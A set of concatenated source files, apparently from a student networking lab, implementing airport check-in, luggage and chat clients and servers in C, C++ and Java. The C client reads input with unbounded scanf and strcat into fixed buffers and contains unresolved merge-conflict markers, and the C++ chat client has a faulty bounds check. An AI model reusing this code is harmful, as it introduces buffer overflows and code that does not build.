fseek(config, 9, SEEK_CUR);
fgets(sizebuf, 3, config);
SIZEBUF = atoi(sizebuf);
fclose(config);
char buffer[SIZEBUF];
char id[20];
char password[20];
int accessOK = 0;
char bin;
logout:;
if(Socket(&soc, PORT) == -1)
{
perror("Err. Sockette");
exit(-1);
}
do
{
system("clear");
printf("***** CheckIn Application - Login *****\n\n");
printf("Login:\n");
scanf("%s", id);
printf("Password:\n");
scanf("%s", password);
strcpy(buffer, "Login:");
strcat(buffer, id);
strcat(buffer, ";");
strcat(buffer, password);
if(Sending(&soc, buffer, SIZEBUF) == -1)
{
perror("Err. Sending");
exit(-1);
}
if(Receiving(&soc, buffer) == -1)
{
perror("Err. Receiving");
exit(-1);
}
if(strcmp(buffer, "Logout") == 0)
{
printf("Serveur down !\n");
close(soc);
exit(-1);
}
if(strcmp(buffer, "Login:OK") == 0)
{
accessOK = 1;
printf("Accès Autorisé !\n");
sleep(2);
}
else
{
printf("Login ou Password Erroné !\n");
sleep(2);
}
}
while(accessOK != 1);
char choix;
int end = 0;
char numTicket[20];
char nb_passagers[3];
char poids_bagage[3];
char Valise[2];
do
{
strcpy(buffer, "");
system("clear");
printf("***** CheckIn Application - Menu Principal *****\n\n");
printf("1. Vérifier un Billet\n");
printf("2. Déconnexion\n");
printf("3. Quitter\n");
fgets(&choix, 2, stdin);
switch(choix)
{
case '1': system("clear");
printf("***** CheckIn Application - Vérification des Billets *****\n\n");
printf("Numéro de Ticket:\n");
scanf("%s", numTicket);
printf("Nombre de passagers:\n");
scanf("%s", nb_passagers);
strcpy(buffer, "CheckTicket:");
strcat(buffer, numTicket);
strcat(buffer, ";");
strcat(buffer, nb_passagers);
if(Sending(&soc, buffer, SIZEBUF) == -1)
{
perror("Err. Sending");
exit(-1);
}
if(Receiving(&soc, buffer) == -1)
{
perror("Err. Receiving");
exit(-1);
}
if(strcmp(buffer, "Logout") == 0)
<<<<<<< HEAD
{
printf("Serveur down !\n");
close(soc);
exit(-1);
}
=======
{
printf("Serveur down !\n");
close(soc);
exit(-1);
}
>>>>>>> ab6594c19028c9a5466d43b45be64c8cb2737d26
if(strcmp(buffer, "CheckTicket:OK") == 0)
{
printf("Ticket Valide !\n");
sleep(2);
for(int i = 0; i < atoi(nb_passagers); i+=1)
{
retry:;
system("clear");
printf("***** CheckIn Application - Vérification des bagages *****\n\n");
printf("Poids du bagage n°%d (en kg):\n", i+1);
scanf("%s", poids_bagage);
do
{
printf("Valise en possession (O ou N):\n");
scanf("%s", Valise);
}
while(strcmp(Valise, "O") != 0 && strcmp(Valise, "N") != 0);
strcpy(buffer, "CheckLuggage:");
strcat(buffer, poids_bagage);
strcat(buffer, ";");
strcat(buffer, Valise);
if(Sending(&soc, buffer, SIZEBUF) == -1)
{
perror("Err. Sending");
exit(-1);
}
if(Receiving(&soc, buffer) == -1)
{
perror("Err. Receiving");
exit(-1);
}
if(strcmp(buffer, "Logout") == 0)
<<<<<<< HEAD
{
printf("Serveur down !\n");
close(soc);
exit(-1);
}
=======
{
printf("Serveur down !\n");
close(soc);
exit(-1);
}
>>>>>>> ab6594c19028c9a5466d43b45be64c8cb2737d26
if(strcmp(buffer, "CheckLuggage:OK") == 0)
{
printf("Bagage de la personne %d: OK\n", i+1);
}
else if(strcmp(buffer, "CheckLuggage:TOO_BIG") == 0)
{
printf("Bagage de la personne %d: Trop lourd\n", i+1);
}
else
{
printf("Bagage de la personne %d: Err. lors de la réception\n", i+1);
sleep(2);
goto retry;
}
sleep(2);
}
}
else
{
printf("Ticket Invalide !\n");
sleep(2);
}
break;
case '3': end = 1;
case '2': printf("Logout...\n");
strcpy(buffer, "Logout");
if(Sending(&soc, buffer, SIZEBUF) == -1)
{
perror("Err. Sending");
exit(-1);
}
printf("soc = %d\n", soc);
if(end != 1)
goto logout;
accessOK = 0;
break;
default: printf("Choix Erroné: %c\n", choix);
}
}
while(end != 1);
close(soc);
return 1;
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/HostException.h
#ifndef EXCEPTIONS_HOSTEXCEPTION_H
#define EXCEPTIONS_HOSTEXCEPTION_H
#include <string>
#include <cstring>
class HostException : public std::exception {
protected:
std::string message;
public:
HostException(const std::string msg);
HostException(const char *msg);
HostException(const HostException &orig);
virtual ~HostException() throw();
virtual const char* what() const throw();
};
#endif //EXCEPTIONS_HOSTEXCEPTION_H
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Tests/test.cpp
#include <iostream>
#include <iomanip>
#include <ctime>
#include <regex>
#include <cstring>
#include <sstream>
using namespace std;
bool ticketNumberIsValid(const string ticketNumber);
int main() {
string ok = "362-02102017-0070";
string pasOk = "362-22082017-0070";
string pasOk2 = "362-22082017-00";
string pasOk3 = "36-22208201700-70";
cout << boolalpha << "OK = " << ticketNumberIsValid(ok) << endl;
cout << boolalpha << "pasOk = " << ticketNumberIsValid(pasOk) << endl;
cout << boolalpha << "pasOk2 = " << ticketNumberIsValid(pasOk2) << endl;
cout << boolalpha << "pasOk3 = " << ticketNumberIsValid(pasOk3) << endl;
return 0;
}
bool ticketNumberIsValid(const string ticketNumber){
// 362-22082017-0070
regex pieces_regex("([0-9]{3})\\-([0-9]{8})\\-([0-9]{4})");
smatch pieces_match;
auto t = time(nullptr);
auto tm = *localtime(&t);
ostringstream oss;
oss << put_time(&tm, "%d%m%Y");
auto str = oss.str();
return regex_match(ticketNumber, pieces_match, pieces_regex) && ticketNumber.substr(4, 8) == str;
}<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/IACOPException.cpp
#include "IACOPException.h"
IACOPException::IACOPException(const std::string msg) : exception(), message(msg) {}
IACOPException::IACOPException(const char *msg) : exception(), message(msg) {}
IACOPException::IACOPException(const IACOPException &orig) : exception(orig), message(orig.message) {}
IACOPException::~IACOPException() throw() {}
const char* IACOPException::what() const throw(){
return this->message.c_str();
}<file_sep>/part_3/Application_Bagages/src/Form/FormVoyage.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package Form;
import Socket.RequestBagage;
import Socket.RequestDigest;
import Socket.RequestVols;
import Socket.SocketClient;
import Socket.SocketClientException;
import java.io.IOException;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
import javax.swing.JTable;
import javax.swing.table.DefaultTableModel;
/**
*
* @author jona1993
*/
public class FormVoyage extends javax.swing.JFrame {
private SocketClient sock = null;
private DefaultTableModel model = null;
/**
* Creates new form FormVoyage
*/
public FormVoyage() {
initComponents();
}
public FormVoyage(SocketClient sock, ArrayList al){
initComponents();
this.sock = sock;
model = (DefaultTableModel) jTable1.getModel();
for(int i = 0; i < al.size();i++)
{
RequestVols r = (RequestVols) al.get(i);
model.addRow(new Object[]{r.getNumero(),r.getDepart(),r.getArrivee(),r.getDestination(),r.getNumAvion()});
}
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jPanel2 = new javax.swing.JPanel();
jScrollPane1 = new javax.swing.JScrollPane();
jTable1 = new javax.swing.JTable(){
@Override
public boolean isCellEditable(int row, int column) { // custom isCellEditable function
return false;
}
};
jPanel1 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
getContentPane().setLayout(new org.netbeans.lib.awtextra.AbsoluteLayout());
jPanel2.setBackground(new java.awt.Color(43, 17, 56));
jTable1.setBackground(new java.awt.Color(43, 17, 56));
jTable1.setFont(new java.awt.Font("Segoe UI Symbol", 1, 14)); // NOI18N
jTable1.setForeground(new java.awt.Color(255, 255, 255));
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
},
new String [] {
"Numero", "Départ", "Arrivee", "Destination", "Numero Avion"
}
));
jTable1.addMouseListener(new java.awt.event.MouseAdapter() {
public void mouseClicked(java.awt.event.MouseEvent evt) {
jTable1MouseClicked(evt);
}
});
jScrollPane1.setViewportView(jTable1);
javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
jPanel2.setLayout(jPanel2Layout);
jPanel2Layout.setHorizontalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 981, Short.MAX_VALUE)
);
jPanel2Layout.setVerticalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 255, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 55, Short.MAX_VALUE))
);
getContentPane().add(jPanel2, new org.netbeans.lib.awtextra.AbsoluteConstraints(0, 220, -1, 310));
jPanel1.setBackground(new java.awt.Color(10, 23, 34));
jLabel1.setFont(new java.awt.Font("Segoe UI Symbol", 1, 48)); // NOI18N
jLabel1.setForeground(new java.awt.Color(255, 255, 255));
jLabel1.setText("Voyage");
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 204, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 120, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 103, Short.MAX_VALUE))
);
getContentPane().add(jPanel1, new org.netbeans.lib.awtextra.AbsoluteConstraints(0, 0, 981, -1));
pack();
}// </editor-fold>//GEN-END:initComponents
private void jTable1MouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTable1MouseClicked
if(evt.getClickCount() == 2)
{
JTable target = (JTable)evt.getSource();
int row = target.getSelectedRow();
RequestDigest req = new RequestDigest();
req.setProto("BagageGET");
String text = jTable1.getModel().getValueAt(row, 0).toString();
req.setText(text);
try {
sock.sendMessage(req);
} catch (IOException |SocketClientException ex) {
Logger.getLogger(FormVoyage.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(this,ex.getMessage());
}
try {
RequestBagage reqB = sock.receveBagage();
ArrayList<RequestBagage> al = new ArrayList();
while(reqB.getNumero() != -1)
{
al.add(reqB);
reqB = sock.receveBagage();
}
FormBagages b = new FormBagages(this,true,al,sock);
b.setVisible(true);
new FormLogin().setVisible(true);
this.dispose();
} catch (SocketClientException ex) {
Logger.getLogger(FormVoyage.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(FormVoyage.class.getName()).log(Level.SEVERE, null, ex);
} catch (ClassNotFoundException ex) {
Logger.getLogger(FormVoyage.class.getName()).log(Level.SEVERE, null, ex);
}
}
}//GEN-LAST:event_jTable1MouseClicked
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(FormVoyage.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(FormVoyage.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(FormVoyage.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(FormVoyage.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(() -> {
new FormVoyage().setVisible(true);
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JLabel jLabel1;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel2;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable jTable1;
// End of variables declaration//GEN-END:variables
}
<file_sep>/LaboReseauxBinome/Evaluation5/Serveur_IAChat/src/serveur_iachat/ThreadIACOP_UDP.java
package serveur_iachat;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.DefaultListModel;
import javax.swing.JList;
import network.Message;
import network.MulticastCommunicator;
import network.MulticastCommunicatorException;
public class ThreadIACOP_UDP extends Thread {
private final JFrameServeur_IAChat parent;
private final JList listeLog;
private final DefaultListModel<String> defaultListModel;
private final MulticastCommunicator communicator;
public ThreadIACOP_UDP(JFrameServeur_IAChat parent, JList listeLog, DefaultListModel<String> defaultListModel, MulticastCommunicator communicator) {
this.parent = parent;
this.listeLog = listeLog;
this.defaultListModel = defaultListModel;
this.communicator = communicator;
}
@Override
public void run() {
while(!isInterrupted()){
try {
Message message = communicator.receiveMessage();
this.defaultListModel.addElement(message.toString());
this.listeLog.ensureIndexIsVisible( this.defaultListModel.getSize() -1 );
} catch (MulticastCommunicatorException ex) {
Logger.getLogger(JFrameConversationWatcher.class.getName()).log(Level.SEVERE, null, ex);
parent.TraceEvenements(ex.getMessage());
}
}
}
public void doStop(){
if(this.communicator!=null)
this.communicator.close();
this.interrupt();
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/PropertiesException.cpp
#include "PropertiesException.h"
PropertiesException::PropertiesException(const std::string msg) : std::exception(), message(msg) {}
PropertiesException::PropertiesException(const char *msg) : std::exception(), message(msg) {}
PropertiesException::PropertiesException(const PropertiesException &orig) : std::exception(orig), message(orig.message) {}
PropertiesException::~PropertiesException() throw() {}
const char* PropertiesException::what() const throw(){
return this->message.c_str();
}
<file_sep>/LaboReseauxBinome/Evaluation3/LUGAP/src/lugap/requete/RequeteLUGAP_getLuggages.java
package lugap.requete;
import communicator.CommunicatorException;
import entities.Flight;
import entities.Luggage;
import java.io.Serializable;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
import lugap.reponse.ReponseLUGAP_getLuggages;
public class RequeteLUGAP_getLuggages extends RequeteLUGAP implements Serializable {
private final Flight flight;
public RequeteLUGAP_getLuggages(Flight flight) {
super("getLuggages", "SELECT passenger.firstname, passenger.lastname, luggage.fk_idticket, luggage.idluggage, "
+ "luggage.weight, luggage.isluggage, luggage.received, luggage.loaded, "
+ "luggage.checkedbycustom, luggage.comments "
+ "FROM luggage INNER JOIN ticket "
+ "ON luggage.fk_idairplane = ticket.fk_idairplane "
+ "AND luggage.fk_idairline = ticket.fk_idairline "
+ "AND luggage.fk_departure = ticket.fk_departure "
+ "AND luggage.fk_destination = ticket.fk_destination "
+ "AND luggage.fk_idticket = ticket.idticket "
+ "INNER JOIN passenger "
+ "ON ticket.fk_idpassenger = passenger.idpassenger "
+ "WHERE luggage.fk_idairplane = ? "
+ "AND luggage.fk_idairline = ? "
+ "AND luggage.fk_departure = ? "
+ "AND luggage.fk_destination = ? "
+ "FOR UPDATE");
this.flight = flight;
}
@Override
protected void doAction() {
ArrayList<Luggage> luggages = new ArrayList<>();
Map<Integer, Object> statementMap = new HashMap<>();
statementMap.put(1, this.flight.getIdAirplane());
statementMap.put(2, this.flight.getIdAirline());
statementMap.put(3, this.flight.getDepartureDate());
statementMap.put(4, this.flight.getDestination());
try {
try {
PreparedStatement preparedStatement = this.databaseAccess.getPreparedStatement(sqlStatement);
preparedStatement.setQueryTimeout(5);
ResultSet resultSet = this.databaseAccess.executeQuery(preparedStatement, statementMap);
System.out.println("\nFlight [" + this.flight.toString() + "]'s luggages : ");
while(resultSet.next()){
Luggage luggage = new Luggage(this.flight,
resultSet.getString("firstname"),
resultSet.getString("lastname"),
resultSet.getInt("fk_idticket"),
resultSet.getInt("idluggage"),
resultSet.getFloat("weight"),
resultSet.getBoolean("isluggage"),
resultSet.getString("received").charAt(0),
resultSet.getString("loaded").charAt(0),
resultSet.getString("checkedbycustom").charAt(0),
resultSet.getString("comments"));
luggages.add(luggage);
System.out.println(" luggage n°" + luggages.size() + " : " + luggage.toString());
}
System.out.println("-------");
this.reponse = ReponseLUGAP_getLuggages.OK(luggages);
traceEvent("GetLuggages OK (luggages found : " + luggages.size() + ")");
} catch (SQLException ex) {
this.reponse = ReponseLUGAP_getLuggages.KO("Erreur Serveur (SQL) [" + ex.getMessage() + "]");
traceEvent("Erreur SQL/BDD : " + ex.getMessage());
}
this.communicator.SendSerializable(this.reponse);
} catch (CommunicatorException ex) {
traceEvent(ex.getMessage());
}
}
public Flight getFlight() {
return flight;
}
}
<file_sep>/LaboReseauxBinome/BD_JOURNALDEBORD/createDatabase.sql
DROP TABLE ACTIVITES CASCADE CONSTRAINTS;
DROP TABLE INTERVENANTS CASCADE CONSTRAINTS;
CREATE TABLE intervenants(
id NUMBER CONSTRAINT pk_intervenants PRIMARY KEY,
status VARCHAR2(100),
name VARCHAR2(100) NOT NULL
);
CREATE TABLE activites(
id NUMBER CONSTRAINT pk_activites PRIMARY KEY,
dateActivite TIMESTAMP,
typeActivite VARCHAR2(100),
description VARCHAR2(255),
intervenant NUMBER CONSTRAINT fk_activites_intervenants REFERENCES INTERVENANTS(id)
);
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/Application_CIAChat_IN.cpp
#include "Application_CIAChat_IN.h"
#include "IACOP.h"
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wmissing-noreturn"
Application_CIAChat_IN::Application_CIAChat_IN(const char *propertiesFilePath) {
this->readConfigFile(propertiesFilePath);
affOut("Initializing IACOP protocol...");
this->iacop = new IACOP(this->tramSeparator);
affOut("Acquiring hostInfos...");
this->hostInfoUDPLocal = new HostInfo("LaurentMac");
std::cout << *(this->hostInfoUDPLocal) << std::endl;
this->hostInfoTCPServeur = new HostInfo(this->TCPhost.c_str());
std::cout << *(this->hostInfoTCPServeur) << std::endl;
}
Application_CIAChat_IN::~Application_CIAChat_IN() {
if(this->clientSocket != nullptr)
delete this->clientSocket;
if(this->hostInfoTCPServeur != nullptr)
delete this->hostInfoTCPServeur;
if(this->hostInfoUDPLocal != nullptr)
delete this->hostInfoUDPLocal;
if(this->hostInfoUDPOther != nullptr)
delete this->hostInfoUDPOther;
if(this->iacop != nullptr)
delete this->iacop;
}
void Application_CIAChat_IN::run() {
int choix;
while(true) {
this->login();
this->multicastSocket = new MulticastSocket(this->UDPport, *(this->hostInfoUDPLocal), *(this->hostInfoUDPOther), this->tramSeparator, this->tramEnding);
this->threadReception = new ThreadReception(this->multicastSocket, &(this->allMessages), &(this->questions));
this->threadReception->Start();
Message *message = new Message(POST_EVENT, this->user, "Vient de se connecter", "Info");
this->multicastSocket->sendMessage(*message);
while((choix=this->chooseAction()) != 0){
switch(choix){
case 1 :
afficherConversation();
break;
case 2:
changerFiltre();
break;
case 3:
envoyerMessage();
break;
}
}
delete this->multicastSocket;
}
}
void Application_CIAChat_IN::readConfigFile(const char *propertiesFilePath) throw(ClientException) {
std::string temp;
affOut("Opening configuration file...");
Properties properties(propertiesFilePath, "=");
if((this->tramSeparator=properties.getValue("TRAM_SEP")).length() == 0)
throw ClientException("Application_CIAChat_IN::readConfigFile() >> Properties.getValue() : TRAM_SEP");
if((this->TCPhost=properties.getValue("HOST")).length() == 0)
throw ClientException("Application_CIAChat_IN::readConfigFile() >> Properties.getValue() : HOST");
if((temp=properties.getValue("PORT")).length() == 0)
throw ClientException("Application_CIAChat_IN::readConfigFile() >> Properties.getValue() : PORT");
this->TCPport = static_cast<unsigned int>(atoi(temp.c_str()));
if(this->TCPport==0)
throw ClientException("Application_CIAChat_IN::readConfigFile() >> Error, the value for PORT is either invalid or 0.");
if((this->tramEnding=properties.getValue("TRAM_END")).length() == 0)
throw ClientException("Application_CIAChat_IN::readConfigFile() >> Properties.getValue() : TRAM_END");
}
void Application_CIAChat_IN::pushToContinue() const {
char buffer[20];
affOut("Press ENTER to continue...");
std::cin.getline(buffer,20);
}
void Application_CIAChat_IN::showTitle() const {
affEmptyLine();
affEmptyLine();
affEmptyLine();
affEmptyLine();
std::cout << "*******************************************************" << std::endl;
std::cout << "* *" << std::endl;
std::cout << "* APPLICATION AIRPORT CHAT *" << std::endl;
std::cout << "* *" << std::endl;
std::cout << "*******************************************************" << std::endl;
affEmptyLine();
affEmptyLine();
}
int Application_CIAChat_IN::chooseAction(){
bool valid = false;
std::string input = "";
while(!valid) {
affEmptyLine();
affOut("choisissez quoi faire :");
affEmptyLine();
affOut("1. Afficher la conversation");
affOut("2. Changer le filtre de conversation");
affOut("3. Envoyer un message");
affOut("0. Se déconnecter");
input = getInput("Votre choix : ");
if(input=="1" || input=="2" || input=="3" || input=="0")
valid = true;
else
affErr("Ce choix n'est pas valable!");
}
return atoi(input.c_str());
}
void Application_CIAChat_IN::connectToTCPServer() throw(ClientException, QuitApp) {
std::stringstream ss;
affOut("Connecting to server...");
this->clientSocket = new ClientSocket(this->TCPport, *(this->hostInfoTCPServeur), this->tramEnding);
std::cout << *(this->clientSocket) << std::endl;
this->clientSocket->connectToServer();
}
void Application_CIAChat_IN::login() throw(ClientException, QuitApp) {
void *parsedData;
std::stringstream ss;
std::string receivedMessage;
bool isLoggedIn = false;
while(!isLoggedIn){
try{
this->pushToContinue();
this->showTitle();
affEmptyLine();
affOut("Bonjour, que voulez-vous faire aujourd'hui?");
affEmptyLine();
affOut("1. LOGIN");
affOut("0. EXIT");
std::string input = getInput("Votre choix : ");
if(input == "1"){
loginStruct loginStruct;
affEmptyLine();
loginStruct.login = getInput("Login(ou numéro de ticket) : ");
loginStruct.password = getInputWithEmpty("Password(vide avec le numéro de ticket) : ");
std::chrono::milliseconds ms = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::system_clock::now().time_since_epoch());
loginStruct.time = ms.count();
srand(static_cast<unsigned int>(time(nullptr)));
loginStruct.rand = rand()%10000-1;
this->connectToTCPServer();
this->clientSocket->sendMessage(this->iacop->encodeLOGIN_GROUP(loginStruct));
receivedMessage.clear();
this->clientSocket->receiveMessage(receivedMessage);
delete this->clientSocket;
int responseType = this->iacop->parse(receivedMessage, &parsedData);
switch(responseType){
case LOGIN_GROUP_OK:
isLoggedIn = true;
this->user = loginStruct.login;
this->UDPhost = ((ipPortStruct *) parsedData)->ip;
this->UDPport = static_cast<unsigned int>(((ipPortStruct *) parsedData)->port);
this->hostInfoUDPOther = new HostInfo(this->UDPhost.c_str());
affOut("C'est bon, vous êtes bien connecté!");
break;
case LOGIN_GROUP_KO:
ss << "Impossible de se connecter (raison : " << *((std::string *)parsedData) << ")";
affErr(ss.str().c_str());
break;
default:
ss << "La réponse reçue est inconnue [" << responseType << "]";
affErr(ss.str().c_str());
throw ClientException(ss.str().c_str());
}
}
else if(input == "0"){
throw QuitApp();
}
else{
affErr("Ce choix n'est pas valable!");
}
}catch(const ErrnoException &ex){
quitAppAfterErr("Application_CIAChat_IN::login()", ex.what());
}
catch(const SocketException &ex){
quitAppAfterErr("Application_CIAChat_IN::login()", ex.what());
}
ss.clear();
ss.str(std::string());
}
}
std::string Application_CIAChat_IN::getInput(const std::string invit) {
std::string input;
while((input = getInputWithEmpty(invit)).empty());
return input;
}
std::string Application_CIAChat_IN::getInputWithEmpty(const std::string invit) {
std::string input;
affOut(invit.c_str());
getline(std::cin, input);
return input;
}
void Application_CIAChat_IN::quitAppAfterErr(std::string where, std::string what) {
std::stringstream ss;
ss << where << " >> " << what;
affErr(ss.str().c_str());
throw QuitApp();
}
void Application_CIAChat_IN::changerFiltre() {
std::string input;
bool valid = false;
affEmptyLine();
affEmptyLine();
while(!valid) {
affEmptyLine();
affOut("Quel filtre voulez-vous appliquer?");
affEmptyLine();
affOut("1. Tout afficher");
affOut("2. Seulement les questions");
affOut("3. Seulement les réponses");
affOut("4. Seulement les Events");
input = getInput("Votre choix : ");
if (input == "1"){
valid = true;
this->filtreListe = -1;
}
else if (input == "2"){
valid = true;
this->filtreListe = POST_QUESTION;
}
else if (input == "3"){
valid = true;
this->filtreListe = ANSWER_QUESTION;
}
else if (input == "4") {
valid = true;
this->filtreListe = POST_EVENT;
}
else
affErr("Ce choix n'est pas valable!");
}
}
void Application_CIAChat_IN::afficherConversation() {
affEmptyLine();
affEmptyLine();
affEmptyLine();
if(this->allMessages.empty())
affOut("Pas de message pour l'instant.");
else{
for(int i=0; i<this->allMessages.size(); i++){
if(this->filtreListe==-1 || this->filtreListe==this->allMessages[i].getMessageType())
std::cout << this->allMessages[i] << std::endl;
}
}
}
void Application_CIAChat_IN::envoyerMessage() {
std::string input;
bool valid = false;
affEmptyLine();
affEmptyLine();
while(!valid) {
affEmptyLine();
affOut("Choisissez le type de message à envoyer?");
affEmptyLine();
affOut("1. Question");
affOut("2. Réponse");
affOut("3. Event");
affOut("0. annuler");
input = getInput("Votre choix : ");
if (input == "0" || input == "1" || input == "2" || input == "3")
valid = true;
else
affErr("Ce choix n'est pas valable!");
}
if(input == "1") {
affOut("Quel question voulez-vous poser?");
std::string msg = getInput("Votre question : ");
Message message(POST_QUESTION, this->user, msg, Message::generateTag(this->allMessages), Message::createDigest(msg));
this->multicastSocket->sendMessage(message);
}
else if(input == "2") {
//choisir question pour avoir tag & digest
affEmptyLine();
if(this->questions.empty()){
affOut("Il n'y a pas de question à laquelle répondre!");
return;
}
affOut("Choisissez la question à laquelle vous voulez répondre : ");
for(int i=0; i<this->questions.size(); i++){
std::cout << (i+1) << ". " << this->questions.at(i) << std::endl;
}
affEmptyLine();
std::string choix = getInput("Votre choix : ");
int qu = std::atoi(choix.c_str());
if(qu <1 || qu <= this->questions.size()){
Message question = this->questions.at(qu-1);
if(question.getDigest() == Message::createDigest(question.getMessage())){
affOut("Que voulez-vous répondre?");
std::string msg = getInput("Votre réponse : ");
Message message(ANSWER_QUESTION, this->user, msg, question.getTag(), question.getDigest());
this->multicastSocket->sendMessage(message);
}
else{
affErr("La question ne vérifie pas son digest!");
}
}
else{
affErr("Votre choix n'est pas valable!");
}
}
else if(input == "3") {
affOut("Quel évenement voulez-vous envoyer?");
std::string msg = getInput("Votre thème : ");
Message message(POST_EVENT, this->user, msg, "Info", Message::createDigest(msg));
this->multicastSocket->sendMessage(message);
}
}
#pragma clang diagnostic pop<file_sep>/LaboReseauxBinome/Libraries/Network/src/communicator/Communicator.java
package communicator;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.Serializable;
import java.net.Socket;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.logging.Level;
import java.util.logging.Logger;
public class Communicator implements Serializable {
private DataInputStream dataInputStream;
private DataOutputStream dataOutputStream;
private ObjectInputStream objectInputStream;
private ObjectOutput objectOutputStream;
private Socket socket = null;
public Communicator(Socket sock) throws CommunicatorException {
System.out.println("*** Instanciating Communicator object...");
try{
this.socket = sock;
OutputStream os = this.socket.getOutputStream();
InputStream is = this.socket.getInputStream();
dataOutputStream = new DataOutputStream(new BufferedOutputStream(this.socket.getOutputStream()));
dataOutputStream = new DataOutputStream(os);
dataInputStream = new DataInputStream(is);
dataInputStream = new DataInputStream(new BufferedInputStream(this.socket.getInputStream()));
objectOutputStream = new ObjectOutputStream(this.dataOutputStream);
objectInputStream = new ObjectInputStream(this.dataInputStream);
} catch (IOException ex) {
throw new CommunicatorException("Communicator(Socket) : Erreur de création de la socket : " + ex);
}
}
public void close() throws CommunicatorException{
try{
// objectInputStream.close();
// objectOutputStream.flush();
// objectOutputStream.close();
dataInputStream.close();
dataOutputStream.flush();
dataOutputStream.close();
}catch (IOException ex){
throw new CommunicatorException("close() : Erreur de fermeture de stream(s) : " + ex);
}
}
//<editor-fold defaultstate="collapsed" desc="Send methods">
public void SendBytes(byte[] bytes) throws CommunicatorException{
System.out.println(Arrays.toString(bytes));
try {
this.dataOutputStream.write(bytes);
this.dataOutputStream.flush();
} catch (IOException ex) {
throw new CommunicatorException("Communicator->SendMessage() : IO Error : " + ex);
}
}
public void SendMessage(String msg) throws CommunicatorException{
String message = msg + "&FINI";
System.out.println("Communicator->SendMessage() : Message à envoyer : " + message);
try {
System.out.println("Communicator->SendMessage() : Envoi d'un message...");
dataOutputStream.writeBytes(message);
dataOutputStream.flush();
}
catch (IOException e) {
throw new CommunicatorException("Communicator->SendMessage() : IO Error : " + e);
}
System.out.println("Communicator->SendMessage() : Message envoyé!");
}
public void SendSerializable(Serializable object) throws CommunicatorException {
if(object == null)
throw new CommunicatorException("Communicator()->SendSerializable() : Erreur, object==null.");
try {
System.out.println("Communicator->SendSerializable() : Envoi d'un message...");
objectOutputStream.writeObject(object);
objectOutputStream.flush();
}
catch (IOException ex) {
